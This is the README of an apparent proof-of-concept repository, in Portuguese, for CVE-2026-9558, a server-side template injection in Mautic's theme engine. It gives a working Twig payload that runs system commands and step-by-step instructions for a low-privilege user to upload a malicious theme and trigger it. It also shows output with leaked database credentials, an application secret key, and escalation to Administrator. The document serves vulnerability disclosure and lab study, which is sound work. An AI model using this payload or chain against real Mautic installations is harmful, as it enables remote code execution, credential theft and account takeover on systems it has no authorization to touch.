
PoC de Exploração para CVE-2026-9558 (SSTI Mautic Theme)
CVE-2026-9558 é uma vulnerabilidade de Injeção de Modelo do Lado do Servidor (SSTI) no mecanismo de temas do Mautic. Temas carregados através do Gerenciador de Temas são arquivos ZIP contendo modelos Twig e, nas versões afetadas, esses modelos são renderizados pelo Environment Twig padrão da aplicação sem nenhuma política SandboxExtension anexada.
Como o Twig pode invocar callables PHP arbitrários através de filtros como map, filter e reduce, um usuário autenticado com permissões de upload de temas pode instalar um tema cujo modelo executa um comando arbitrário do sistema assim que é renderizado — o que acontece automaticamente na primeira vez que um usuário abre o construtor de e-mail ou página de destino com esse tema.
{{ ["id"] | map("system") | join }}
| Intervalo afetado | Corrigido em |
|---|---|
| >= 1.3.0, < 4.4.13 | 4.4.13 (4.4.20 via ELTS) |
| >= 5.0.0, < 5.2.11 | 5.2.11 |
| >= 6.0.0, < 6.0.9 | 6.0.9 |
| >= 7.0.0, < 7.1.2 | 7.1.2 |
Este laboratório tem como alvo a versão 7.1.1, a última versão antes da correção.
A documentação do desenvolvedor do Mautic afirma que os modelos de temas são renderizados em um ambiente de sandbox restrito do Twig:
O Mautic renderiza modelos de temas enviados pelo usuário em um ambiente de sandbox restrito do Twig. A sandbox bloqueia certas funções e filtros que poderiam permitir execução remota de código, vazamento de dados ou sondagem do sistema de arquivos.
Nas versões afetadas, essa política de sandbox não existe. A correção (7.1.2) introduz o
ThemeSandboxPolicy.php,
uma implementação de SecurityPolicyInterface baseada em lista de negação que bloqueia os filtros map, filter e reduce e um conjunto de funções incluindo source() (leitura arbitrária de arquivos) e configGetParameter() (vaza credenciais de banco de dados e a chave secreta da aplicação). O comentário inline da própria correção documenta a forma exata do payload usado neste PoC:
private const DENIED_FILTERS = [
'map', // {{ ['id']|map('system')|join }} -> RCE
'reduce',
'filter',
];
Antes desta política, não existia tal restrição em nenhum caminho de renderização de temas.
A cadeia foi validada de ponta a ponta contra uma conta de baixo privilégio com apenas os grupos de permissão Temas (criar/editar) e E-mails (criar/editar) — não Administrador — para corresponder à pré-condição PR:L no vetor CVSS do comunicado.
system() embutidas no arquivo .twig do tema.config/local.php do Mautic, expondo as credenciais do banco de dados e a secret_key da aplicação em texto simples.PDO direta de dentro do payload SSTI e promover a conta de baixo privilégio para role_id 1 (Administrador), contornando completamente as verificações de permissão no nível da aplicação do Mautic.uid=33(www-data) gid=33(www-data) groups=33(www-data)
'db_host' => 'mautic-db',
'db_user' => 'mautic',
'db_password' => 'mauticpass',
'secret_key' => 'a15d98da823d751f4a0a5219123f4afbd90eb254074b1cea07518a3c0db70bcd',
rows_updated=1
confirm: 2|priv-esc|1
O comunicado afirma PR:L. Este laboratório confirma a pré-condição específica de baixo privilégio na prática: alcançar o gatilho de renderização requer ambas permissões de upload de temas e permissões de criação de e-mails — não uma única permissão genérica baixa. Nenhuma solução alternativa além da correção oficial restringe isso; a única mitigação documentada é limitar core:themes:create a administradores confiáveis.
cve-2026-9558-poc/
├── podman-compose.yml # MariaDB + Mautic 7.1.1-apache, rede bridge isolada
├── Dockerfile.mautic # fixa a imagem oficial na versão vulnerável
├── install.sh # bootstrap não interativo mautic:install
└── sparse/
├── config.json # manifesto do tema malicioso
├── sparse.zip # tema pronto para upload
└── html/
├── email.html.twig # modelo do payload SSTI. Veja o final do arquivo onde está o placeholder para injetar comandos arbitrários.
├── ... # Outros arquivos .twig
└── .../ # Outros diretórios (ex: css)
| Ferramenta | Versão | Observações |
|---|---|---|
| Podman | ≥ 4.0 | podman-compose necessário |
| curl | qualquer | usado pelo install.sh para verificar disponibilidade |
A exploração neste PoC é realizada manualmente através da interface web do Mautic (upload no Gerenciador de Temas → construtor de E-mail), correspondendo ao fluxo real do atacante: o upload de temas é uma operação de arquivo, não uma chamada de API que valha a pena automatizar neste estágio da análise.
podman-compose up -d
./install.sh
install.sh aguarda o contêiner da aplicação aceitar conexões, depois executa mautic:install de forma não interativa para inicializar a primeira conta de Administrador.
Pela interface, crie uma função personalizada com apenas Temas (criar/editar) e E-mails (criar/editar) habilitados, e um usuário atribuído a essa função. Isso reproduz a pré-condição PR:L em vez de testar como Administrador.
Faça login como o usuário de baixo privilégio. Em Temas → Upload, carregue um ZIP construído a partir de sparse/config.json e sparse/html/page.html.twig (ou uma cópia modificada de qualquer tema embutido com a linha do payload adicionada ao seu arquivo .twig).
Em Canais → E-mails → Novo, selecione o tema carregado como modelo e abra o construtor. O payload é executado assim que o tema é renderizado para visualização.
podman-compose down -v
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Este repositório é destinado apenas para fins educacionais e análise de explorabilidade local. Todos os testes foram realizados em um ambiente de contêiner auto-hospedado. Não execute este PoC contra sistemas que você não possui ou para os quais não tenha autorização explícita por escrito para testar.
| Recurso | Link |
|---|
| Comunicado de Segurança | GHSA-9fx4-7cmj-47vg |
| Correção (política de sandbox) | ThemeSandboxPolicy.php |
| Repositório vulnerável | mautic/mautic |
| Análise completa — postagem no blog | return-zero.dev/posts/cve-2026-9558 |